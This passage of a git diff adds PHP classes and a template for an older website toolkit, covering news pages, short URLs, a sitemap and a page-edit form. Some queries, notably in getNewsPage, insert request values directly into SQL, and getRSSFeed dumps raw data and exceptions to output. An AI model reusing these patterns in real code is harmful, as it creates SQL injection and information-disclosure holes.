+            $this->page->title   = $news_data[0]["title"];
+            $this->page->header  = $news_data[0]["header"];
+            if ($news_data[0]['image']) {
+                $this->page->image    = $news_data[0]['image'];
+                $this->page->imgclass = "imageleft";
+                if ($news_data[0]['imagename']) {
+                    $this->page->imagename = $news_data[0]['imagename'];
+                }
+            }
+            $this->page->description = $this->toolbox->keyword_replace($news_data[0]["description"]);
+            if ($news_data[0]['file'] != '') {
+                $this->page->file = $news_data[0]['file'];
+                if ($news_data[0]['filename']) {
+                    $this->page->filename = $news_data[0]['filename'];
+                }
+            }
+            $query           = "
+            SELECT * 
+            FROM news_block 
+            WHERE news_id = {$news_data[0]['id']} 
+            ORDER BY pos";
+            $news_block_data = $this->DB->db_auto_get_data($query);
+            if (is_array($news_block_data)) {
+                for ($i = 0; $i < count($news_block_data); ++$i) {
+                    $val                                 = $news_block_data[$i];
+                    $this->page->section[$i]['align']    = ($i%2==0) ? "right": "left";
+                    $this->page->section[$i]['imgclass'] = ($i%2==0) ? "imageright": "imageleft";
+                    $this->page->section[$i]['header']   = $val["header"];
+                    if ($val['image']) {
+                        $this->page->section[$i]['image'] = $val["image"];
+                    }
+                    $this->page->section[$i]['description'] = $this->toolbox->keyword_replace($val["description"]);
+                    if ($val['file'] != '') {
+                        $this->page->section[$i]['file'] = $val["file"];
+                        if ($val['file']['filename']) {
+                            $this->page->section[$i]['filename'] = $val["filename"];
+                        }
+                    }
+                }
+            }
+        }
+        $this->template->compile('news.html');
+    }
+    
+    
+    // }}}
+    // {{{ getNewsPage
+
+    
+    /**
+     * getNewsPage
+     * 
+     * get the current press newsletter 
+     * 
+     * @param unknown $id category id
+     * 
+     * @return void   
+     * @access public 
+     */
+    function getNewsPage($id = null)
+    {
+        // get news with catid = $newscatid
+        $query = "
+        SELECT id,catid,title,status 
+        FROM news 
+        WHERE catid = {$id} 
+        AND status = 'current'";
+        $data  = $this->DB->db_auto_get_data($query);
+        if (is_array($data)) {
+            $catid = $data[0]['id'];
+            $id    = $data[0]['id'];
+            $this->getNews($id);
+        }
+    }
+
+
+    // }}}
+    // {{{ getNewsSummary
+
+
+    /**
+     * getNewsSummary
+     * 
+     * get summary of the archives + current new srelease
+     * 
+     * @return void  
+     * @access public
+     */
+    function getNewsSummary()
+    {
+        $query = "SET datestyle TO 'SQL,US';
+        SELECT id,pr_date,title 
+        FROM news 
+        WHERE catid = ".$this->_newscatid." 
+        AND status != 'queued' 
+        ORDER BY status desc,pr_date desc";
+        $data2 = $this->DB->db_auto_get_data($query);
+        if (is_array($data2)) {
+            foreach ($data2 as $key => $val) {
+                $this->page->news_summary[$val['id']]['pr_date']   = $val['pr_date'];
+                $this->page->news_summary[$val['id']]['news_page'] = BASE_URL.'index.php?catid='.$_REQUEST['catid'].'&newsid='.$val["id"];
+                $this->page->news_summary[$val['id']]['title']     = $val['title'];
+            }
+        }
+    }
+    
+    
+    // }}}
+    // {{{ getRSSFeed
+    
+    
+    /**
+     * Create RSS Feed for the newsletter/press
+     * This gives client ability to send a rss to their users so 
+     * they are up to date on all newsletter post.
+     * Pulls all non archived news
+     * 
+     * @access public
+     * @return string
+     */
+    function getRSSFeed()
+    {
+        $options = array(
+            "indent"         => "    ",
+            "linebreak"      => "\n",
+            "typehints"      => false,
+            "addDec1"        => true,
+            "encoding"       => "UTF-8",
+            "rootName"       => "rdf:RDF",
+            "defaultTagName" => "item",
+        );
+        $sql = "
+        SELECT *
+          FROM news
+         WHERE status != 'archived'
+      ORDER BY status desc,pr_date desc";
+        try {
+            $data = $this->dbh->query($sql)->fetchAll();
+            echo '<pre>'.print_r($data, true).'</pre>';
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage);
+        }
+    }
+    
+    
+    // }}}
+    // {{{ setNewscatid
+
+    
+    /**
+     * setNewscatid
+     * 
+     * sets the _newscatid
+     * 
+     * @param unknown $id category id for news
+     * 
+     * @return void   
+     * @access public 
+     */
+    function setNewscatid($id)
+    {
+        $this->_newscatid = $id;
+    }
+    
+    
+    // }}}
+    // {{{ setToolboxid
+
+    
+    /**
+     * setToolboxid
+     * 
+     * sets the _toolboxid
+     * 
+     * @return void  
+     * @access public
+     */
+    function setToolboxid()
+    {
+        $this->_toolboxid =& $GLOBALS['catid'];
+    }
+    
+    // }}}
+}
+?>
diff --git a/Toolkit/Press/templates/news.html b/Toolkit/Press/templates/news.html
new file mode 100755 (executable)
index 0000000..de2148d
--- /dev/null
@@ -0,0 +1,34 @@
+<h3>{pr_date}</h3>
+<h3>{title}</h3>
+<h4>{header}</h4>
+{if:image}
+       {if:imagename}
+       <div style="margin:5px;padding:0;width:200px;float:right;">
+       <img src="{RESIZED}{image}" alt="">';
+       <br><div style="text-align:center;">{imagename}</div>
+       </div>
+       {else:}
+       <img class="{imgclass}" src="{RESIZED}{image}" alt="">
+       {end:}
+{end:}
+{description:h}
+{if:file}
+       <br><a href="{UP_BASE_URL}{file}">{if:filename}{filename}{else:}{file}{end:}</a><br>
+{end:}
+{foreach:section,k,v}
+       <h2>{v[header]}</h2>
+       {if:v[image]}
+       <img class="{v[imgclass]}" src="{RESIZED}{v[image]}" alt="">    
+       {end:}
+       {v[description]:h}
+       {if:v[file]}
+               <br><a target="_blank" href="{UP_BASE_URL}{v[file]}">{if:v[filename]}{v[filename]}{else:}{v[file]}{end:}</a><br>
+       {end:}
+{end:}
+<br clear="all">
+<br><hr>
+{foreach:news_summary,k,v}
+       <div>
+       {v[pr_date]} <a href="{v[news_page]}">{v[title]}</a>
+       </div><br>
+{end:}
diff --git a/Toolkit/ShortURL.php b/Toolkit/ShortURL.php
new file mode 100755 (executable)
index 0000000..6642309
--- /dev/null
@@ -0,0 +1,127 @@
+<?php
+
+/**
+ * ShortURL.php
+ * 
+ * Integration of Toolbox with creation of ShortURL
+ * 
+ * PHP version 5
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_ShortURL
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: ShortURL.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Toolkit_ShortURL
+ * 
+ * Integration of Toolbox with creation of ShortURL
+ * the url rewrite happens with one line of code in .htaccess
+ * RewriteRule ^([A-Za-z0-9_-]*)$ index.php?page=$1 [L]
+ * index page checks for $_GET['page'] and then calls 
+ * getShortUrlId to get the page's catid. If not found it 
+ * defaults to HOME_ID
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_ShortURL
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class Toolkit_ShortURL
+{
+    // {{{ Class Properties
+    /**
+     * PDO Global object 
+     * @var    string   
+     * @access protected
+     */
+    public $dbh;
+    // }}}
+
+    // {{{ __construct()
+
+    /**
+     * __construct()
+     * 
+     * @param object &$dbh from setup.phtml
+     * 
+     * @return void
+     * @access public
+     */
+    function __construct(&$dbh)
+    {
+        $this->dbh = $dbh;
+    }
+
+    // }}}
+    // {{{ getShortUrl()
+
+    /**
+     * getShortUrl()
+     * 
+     * grab the shorturl from bus_category table
+     * else return false 
+     * 
+     * @param string $id bus_category id
+     * 
+     * @return mixed  ShortURL from bus_category
+     * @access public
+     */
+    function getShortUrl($id)
+    {
+        $sql = "
+        SELECT short_url
+          FROM bus_category
+         WHERE id = :id";
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":id", $id, PDO::PARAM_INT);
+            $stmt->execute();
+            return $stmt->fetchColumn();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        return false;
+    }
+
+    // }}}
+    // {{{ getShortUrlId()
+
+    /**
+     * getShortUrlId()
+     * 
+     * grab the id from bus_category table
+     * else return false 
+     * 
+     * @param string $short_url bus_category short_url
+     * 
+     * @return mixed  catid for page or HOME_ID if not found
+     * @access public
+     */
+    function getShortUrlId($short_url)
+    {
+        $sql = "
+        SELECT id
+          FROM bus_category
+         WHERE short_url = :short_url";
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":short_url", $short_url, PDO::PARAM_STR);
+            $stmt->execute();
+            return $stmt->fetchColumn();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+        return HOME_ID;
+    }
+
+    // }}}
+}
+?>
diff --git a/Toolkit/SiteMap.php b/Toolkit/SiteMap.php
new file mode 100755 (executable)
index 0000000..a1f518b
--- /dev/null
@@ -0,0 +1,156 @@
+<?php
+
+/**
+ * SiteMap.php
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_SiteMap
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: SiteMap.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Toolkit_SiteMap
+ * 
+ * Generate a sitemap for the site
+ * need to remove members only pages and other pages you
+ * don't want viewed by public 
+ * 
+ * @category  Toolkit
+ * @package   Toolkit_SiteMap
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      <>
+ */
+class Toolkit_SiteMap
+{
+    // {{{ Properties
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $beginLevel = "<ul>";
+
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $endLevel = "</ul>";
+
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $beginItem = "<li>";
+
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $endItem = "</li>";
+
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $wholeThread;
+
+    /**
+     * Description for var
+     * @var    string
+     * @access public
+     */
+    var $search = "";
+
+    /**
+     * Description for var
+     * @var    unknown
+     * @access public 
+     */
+    var $DB;
+    // }}}
+    // {{{ __construct()
+    /**
+     * __construct
+     * 
+     * Must be given a GLM_TEMPLATE object
+     * 
+     * @param mixed $toolbox GLM_TEMPLATE Object
+     * 
+     * @return void  
+     * @access public
+     */
+    function __construct(GLM_TEMPLATE $toolbox)
+    {    
+        $this->toolbox =& $toolbox;
+        $this->DB      =& $toolbox->DB;
+    }
+    // }}}
+    // {{{ sortChilds()
+    /**
+     * sortChilds
+     * 
+     * Sort by Parent
+     * 
+     * @param unknown $threads Array
+     * 
+     * @return array   Return array
+     * @access public 
+     */
+    function sortChilds($threads)
+    {    
+        while (list($var, $value) = each($threads)) {
+            $childs[$value['parent']][$value['id']] = $value;
+        }
+        return $childs;
+    }
+    // }}}
+    // {{{ convertToThread()
+    /**
+    * convertToThread
+    * 
+    * outputs the array with the correct styles and code applied
+    * 
+    * @param unknown $threads Thread array
+    * @param unknown $thread  Start with thread[0] will work it way down
+    * 
+    * @return wholeThread
+    * @access public 
+    **/
+    function convertToThread($threads, $thread)
+    {    
+        static $p,$level_counter;
+        if (!$level_counter) {
+            $level_counter = 1;
+        }
+        $this->wholeThread .= $this->beginLevel;
+        while (list($parent, $value) = each($thread)) {    
+            $this->wholeThread .= $this->beginItem;
+            $page               = $value['url'];
+            $this->wholeThread .= '<a href="'.$page.'">'; 
+            $this->wholeThread .= $value["category"] 
+                . "</a>";
+            if ($threads[$parent]) {
+                ++$level_counter;
+                $this->convertToThread($threads, $threads[$parent]);
+                --$level_counter;
+            }
+            $this->wholeThread .= $this->endItem ."\n";
+        }
+        $this->wholeThread .= $this->endLevel;
+        return $this->wholeThread;
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/SortForm.php b/Toolkit/SortForm.php
new file mode 100644 (file)
index 0000000..1513dd7
--- /dev/null
@@ -0,0 +1,68 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Creates a sortform to be used w/ datagrid DataGrids
+ *
+ * PHP version 5
+ *
+ * @category HTML
+ * @package  Toolkit_SortForm
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: SortForm.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Creates a sortform to be used w/ datagrid DataGrids
+ *
+ * @category  HTML
+ * @package   Toolkit_SortForm
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_SortForm extends Toolkit_FormBuilder
+{
+    //  {{{ properties
+
+       /**
+        * The default rules to register for validating
+        *
+        * @var string
+        * @access protected
+        */
+    protected $registeredRules = array();
+
+    //  }}}
+       //      {{{     toHTML()
+
+       /**
+        * Render the form to a string
+        *
+        * Handle the rendering and validation of the form when displayed
+        * and submitted.
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return string html form
+        * @access public
+        */
+       public function toHTML()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       $output = parent::toHTML();
+               } else if ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Toolbox/Admin/EditPage.php b/Toolkit/Toolbox/Admin/EditPage.php
new file mode 100644 (file)
index 0000000..e6ecddf
--- /dev/null
@@ -0,0 +1,1044 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Toolbox page edit form
+ *
+ * PHP version 5
+ *
+ * @category Toolbox
+ * @package  Toolkit_Toolbox
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @release  CVS: $Id: EditPage.php,v 1.2 2009/12/15 20:18:16 jamie Exp $:
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @link     http://demo.gaslightmedia.com
+ */
+
+/**
+ * Edit Toolbox page
+ * 
+ * Handles form to insert/edit a toolbox page
+ * 
+ * @category  Toolbox
+ * @package   Toolkit_Toolbox
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Toolbox_Admin_EditPage
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+    //  {{{ properties
+
+    /**
+     * Primary database table we need to interact with
+     * @var    string   
+     * @access protected
+     */
+    public $tableName = 'bus_category';
+
+    /**
+     * How many levels deep do you want to show in the parent select list
+     *
+     * 0 = Show All Levels
+     *
+     * @var    integer  
+     * @access protected
+     */
+    protected $maxDepth = 0;
+
+    /**
+     * Don't need to register any rules for this form.
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    //  }}}
+    //  {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * Sets the database handler this class will use via the PDO passed in
+     * from the parameters.  Sets up the flexyOptions from the default options
+     * defined in the setup.phtml file, updates where the templates directory
+     * and compiled templates directory are located.
+     *
+     * @param PDO    $pdo         PHP Data Object used to set the database
+     *                            handler
+     * @param string $formName    Form's name.
+     * @param string $method      (optional) Form's method defaults to 'POST'
+     * @param string $action      (optional) Form's action
+     * @param string $target      (optional) Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional) Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_FormBuilder, HTML_QuickForm
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = TEMPLATES_DIR;
+               $this->flexyOptions['compileDir']  = COMPILED_DIR;
+    }
+
+    //  }}}
+
+       //      {{{     configureDefaults()
+
+    /**
+     * Initializes default form values
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        if (is_numeric($_GET['id'])) {
+            try {
+                $sql = "
+                    SELECT *
+                      FROM {$this->tableName}
+                     WHERE id = :id";
+
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                $stmt->execute();
+                $d = $stmt->fetch();
+                $i = '<img src="%s">';
+
+                $d['current_image'] = sprintf($i, THUMB . $d['image']);
+
+            } catch (PDOException $e) {
+                return Toolkit_Common::handleError($e);
+            }
+        } else {
+            $d = array(
+                'template' => 1,
+            );
+        }
+               $this->setupDefaults($d);
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @param Config_Container $c Configuration object
+     *
+     * @return void     
+     * @access public
+     */
+       public function configureElements(Config_Container $c)
+       {
+        $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $c->getItem('section', 'listing type');
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+               //      Grouped Elements are defined here.
+        $submitBtns = array();
+
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'update_rmv',
+            'display' => 'Update'
+        );
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'cancel_rmv',
+            'display' => 'Cancel'
+        );
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'delete_rmv',
+            'display' => 'Delete'
+        );
+
+        $templates = array();
+        
+        $options = range(1, 6);
+        foreach ($options as $i) {
+            $img = "<img src=\"template$i.gif\">";
+
+            $templates[] = array(
+                'type'    => 'radio',
+                'req'     => false,
+                'name'    => 'template',
+                'display' => "Template $i<br>$img",
+                'att'     => $i,
+                'opts'    => $i,
+            );
+        }
+
+               //      All Elements are created here.
+        //  This includes group element definitions.
+        $res   = $this->getConstant('MEMBERS_DB');
+        $isErr = PEAR::isError($res);
+        if ($isErr) {
+            Toolkit_Common::handleError($e);
+        }
+        if ($res && !$isErr) {
+            $e[] = array(
+                'type'    => 'header',
+                'req'     => false,
+                'name'    => 'memberDbHdr',
+                'display' => $pluralType,
+            );
+            $e[] = array(
+                'type' => 'static',
+                'req'  => false,
+                'name' => 'pageCategories'
+            );
+            //  Note that we call to populate this select list at the
+            //  bottom of this function after the element is made
+            //  so we load attributes (classes) into each option as needed.
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => false,
+                'name'    => 'memberCat',
+                'display' => 'Member Categories',
+                'opts'    => array('' => '-- None --'),
+                'att'     => array(
+                    'multiple' => 'multiple',
+                    'size'     => 7
+                )
+            );
+            $e[] = array(
+                'type'    => 'advcheckbox',
+                'req'     => false,
+                'name'    => 'no_search_form',
+                'display' => 'Search Box',
+                'val'     => array(0, 1)
+            );
+        }
+               $e[] = array(
+            'type'    => 'header',
+            'req'     => false,
+            'name'    => 'pageAttributesHdr',
+            'display' => 'Page Attributes'
+        );
+               $e[] = array(
+            'type'    => 'text',
+            'req'     => false,
+            'name'    => 'category',
+            'display' => 'Navigation Name'
+        );
+               $e[] = array(
+            'type'    => 'select',
+            'req'     => false,
+            'name'    => 'parent',
+            'display' => 'Parent Page',
+            'opts'    => array('0' => '-- No Parent --'),
+        );
+               $e[] = array(
+            'type'    => 'text',
+            'req'     => false,
+            'name'    => 'keyword',
+            'display' => 'Keyword'
+        );
+               $e[] = array(
+            'type'    => 'advcheckbox',
+            'req'     => false,
+            'name'    => 'section_links',
+            'display' => 'Search',
+            'opts'    => 'Create a list of links to the paragraph headlines',
+            'val'     => array(0, 1)
+        );
+        $res   = $this->getConstant('HOME_HEADLINES');
+        $isErr = PEAR::isError($res);
+        if ($isErr) {
+            Toolkit_Common::handleError($e);
+        }
+        if ($res && !$isErr) {
+            $e[] = array(
+                'type'    => 'header',
+                'req'     => false,
+                'name'    => 'homePageHeadlinesHdr',
+                'display' => 'Headlines'
+            );
+            $e[] = array(
+                'type'    => 'advcheckbox',
+                'req'     => false,
+                'name'    => 'featured',
+                'display' => 'Home Page Headlines',
+                'val'     => array(0, 1)
+            );
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'feature_intro',
+                'display' => 'Headline Intro'
+            );
+        }
+               $e[] = array(
+            'type'    => 'header',
+            'req'     => false,
+            'name'    => 'pageBodyHdr',
+            'display' => 'Page Body'
+        );
+               $e[] = array(
+            'type'    => 'text',
+            'req'     => false,
+            'name'    => 'intro',
+            'display' => 'Page Title'
+        );
+               $e[] = array(
+            'type'    => 'textarea',
+            'req'     => false,
+            'name'    => 'description',
+            'display' => 'Description',
+            'opts'    => array(
+                'cols' => 70,
+                'rows' => 25
+            ),
+        );
+        if ($this->hasUploadedImage()) {
+            $e[] = array(
+                'type'    => 'static',
+                'req'     => false,
+                'name'    => 'current_image',
+                'display' => 'Current Image'
+            );
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'imagename',
+                'display' => 'Image Caption'
+            );
+            $e[] = array(
+                'type'    => 'checkbox',
+                'req'     => false,
+                'name'    => 'remove_image',
+                'display' => 'Delete Image'
+            );
+        }
+               $e[] = array(
+            'type'    => 'file',
+            'req'     => false,
+            'name'    => 'image',
+            'display' => 'New Image'
+        );
+               $e[] = array(
+            'type'       => 'group',
+            'req'        => false,
+            'name'       => 'page_layout',
+            'group'         => $templates,
+            'label'      => 'Template',
+            'seperator'  => '',
+            'appendName' => false 
+        );
+
+        //  If we are editing a page, show three submit buttons
+        //  otherwise, just show one insert button.
+        if (is_numeric($_GET['id'])) {
+            $e[] = array(
+                'type'       => 'group',
+                'req'        => false,
+                'name'       => 'submit_buttons',
+                'group'             => $submitBtns,
+                'label'      => '',
+                'seperator'  => '',
+                'appendName' => false,
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'submit',
+                'req'     => false,
+                'name'    => 'insert_rmv',
+                'display' => 'Insert'
+            );
+        }
+
+               $this->setupElements($e);
+        //  Load the member categories after the elements have been created
+        //  so we can get more control how the options are rendered
+        //  ie (adding classes to them)
+        $res   = $this->getConstant('MEMBERS_DB');
+        $isErr = PEAR::isError($res);
+        if ($isErr) {
+            Toolkit_Common::handleError($e);
+        }
+        if ($res && !$isErr) {
+            $this->loadMemberCategories();
+        }
+        //  Do the same for the pages
+        $this->loadParentPages();
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Form filter definitions
+     * 
+        * Applies a data filter for the given fields when the form is submitted
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter'  => 'trim'
+        );
+
+        $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Bundle all form configuration calls into one function call
+     * 
+     * @param Config_Container $c Configuration object
+     *
+     * @return void  
+     * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+               $this->configureElements($c);
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+        * Adds validation rules for the given fields
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+               //      Form Rules
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+    //  {{{ getCurrentParent()
+
+    /**
+     * Gets the parent id of a page
+     * 
+     * @param integer $id page id
+     *                       
+     * @return integer parent id
+     * @access protected
+     */
+    protected function getCurrentParent($id)
+    {
+        try {
+            $sql = "
+                SELECT parent
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('parent', $parent);
+            $stmt->fetch();
+
+            return $parent;
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ getNewParentPosition()
+
+    /**
+     * Gets the position to use for a page
+     * 
+     * If we are inserting a new page we need to get the position to insert
+     * the new page at. Or if we are updating an existing page and reassigning
+     * it to a new parent, we need to get the new position to insert
+     * the page at.
+     * 
+     * @param integer $parent page id of the new parent page
+     *                           
+     * @return integer new position to use
+     * @access protected
+     */
+    protected function getNewParentPosition($parent)
+    {
+        try {
+            $sql = "
+                SELECT count(*) + 1 AS newparent
+                  FROM {$this->tableName}
+                 WHERE parent = :parent
+                   AND id != :home_id";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':parent', $parent, PDO::PARAM_INT);
+            $stmt->bindValue(':home_id', HOME_ID, PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('newparent', $newParent);
+            $stmt->fetch();
+
+            if ($parent == 0) {
+                ++$newParent;
+            }
+
+            return $newParent;
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ getTableName()
+
+    /**
+     * Gets the primary table name
+     * 
+     * @return string table name
+     * @access public
+     */
+    public function getTableName()
+    {
+        return $this->tableName;
+    }
+
+    //  }}}
+    //  {{{ getConstant()
+
+    /**
+     * fetch a defined constant value
+     *
+     * @param string $constant constant name
+     *
+     * @return mixed constant value
+     * @acess protected
+     */
+    protected function getConstant($constant)
+    {
+        if (!defined($constant)) {
+            return PEAR::raiseError('calling undefined constant');
+        } else {
+            return constant($constant);
+        }
+    }
+
+    //  }}}
+    
+    //  {{{ hasUploadedImage()
+
+    /**
+     * Check to see if page we are editing has an uploaded image
+     * 
+     * @return boolean If page has a previously uploaded image
+     * @access protected
+     */
+    protected function hasUploadedImage()
+    {
+        if (!is_numeric($_GET['id'])) {
+            return false;
+        }
+        try {
+            $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('image', $image);
+            $row = $stmt->fetch();
+            return !is_null($image);
+            //return !(is_null($image) || empty($image));
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ loadMemberCategories()
+
+    /**
+     * Loads member categories into the select list
+     *
+     * Gets an array structure of the member categories in a linear tree order
+     * Then walk through the array and load each category into the select list
+     * 
+     * @return void     
+     * @access public
+     */
+    public function loadMemberCategories()
+    {
+        try {
+            //  Get a tree list of categories in linear order with
+            //  category keys in the values and their level in the tree
+            //  in the value
+               $c = Toolkit_Common::getHierarchicalTreeStructure(
+                $this->dbh,
+                'category',
+                'category_id',
+                'parent_id'
+            );
+
+            //  Get all the data about each category
+            $sql = "
+                SELECT *
+                  FROM category
+                 WHERE category_id = ?";
+
+            $stmt = $this->dbh->prepare($sql);
+            //  Get the member categories select list element
+            $e =& $this->getElement('memberCat');
+            foreach ($c as $i => $j) {
+                $stmt->execute(array($i));
+                $row = $stmt->fetch();
+                //  the class level is always 1 less than what is reported
+                //  from our $c array
+                $x = $j - 1;
+                //  Add the option data to the select list.
+                $e->addOption($row['name'], $i, array('class' => "level-$x"));
+            }
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ loadParentPages()
+
+    /**
+     * Load option elements into the parent select list
+     * 
+     * These options are loaded via this seperate function vs inline w/ the
+     * element definition b/c we need a little more control defining
+     * the class names for each option so they will render nice when a user
+     * is looking at the list.
+     * 
+     * @return void
+     * @throws PDOException throws exception on sql error
+     * @access public
+     */
+    public function loadParentPages()
+    {
+        try {
+            //  Get a tree list of categories in linear order with
+            //  category keys in the values and their level in the tree
+            //  in the value
+               $c = Toolkit_Common::getHierarchicalTreeStructure(
+                $this->dbh,
+                'bus_category',
+                'id',
+                'parent',
+                'pos',
+                0,
+                $this->maxDepth
+            );
+
+            //  unset the home page, this is never an option to have children
+            //  underneath it.
+            unset($c[HOME_ID]);
+
+            //  If we are editing a page, then we don't want that page
+            //  to show up as an option in the select list.
+            if (is_numeric($_GET['id'])) {
+                reset($c);
+                //  Get us to the point in the array were this page is located
+                while (key($c) != $_GET['id'] && current($c) !== false) {
+                    next($c);
+                }
+                //  Make sure we didn't traverse off the end of the array
+                if (current($c) !== false) {
+                    //  get the starting level we are currently at
+                    $sl = current($c);
+                    //  remove this page (the one we're editing) from the
+                    //  array and advance the internal array pointer
+                    unset($c[key($c)]);
+                    //  now we need to make sure all sub pages beneath this
+                    //  page are also not being shown
+
+                    //  while we don't traverse off the end of the array
+                    while (current($c) !== false) {
+                        //  get the current sub level we are at
+                        $csl = current($c);
+                        //  if the current sub-level is the same as the
+                        //  starting level, that means we have traversed through
+                        //  all the sub-pages and can break out of the loop
+                        if ($csl == $sl) {
+                            break;
+                        } else {
+                            //  we are still in a sub-level page, so unset
+                            //  this page so it doesn't show, and advance
+                            //  the internal array pointer
+                            unset($c[key($c)]);
+                        }
+                    }
+                }
+            }
+
+            //  Get all the data about each category
+            $sql = "
+                SELECT *
+                  FROM bus_category
+                 WHERE id = ?";
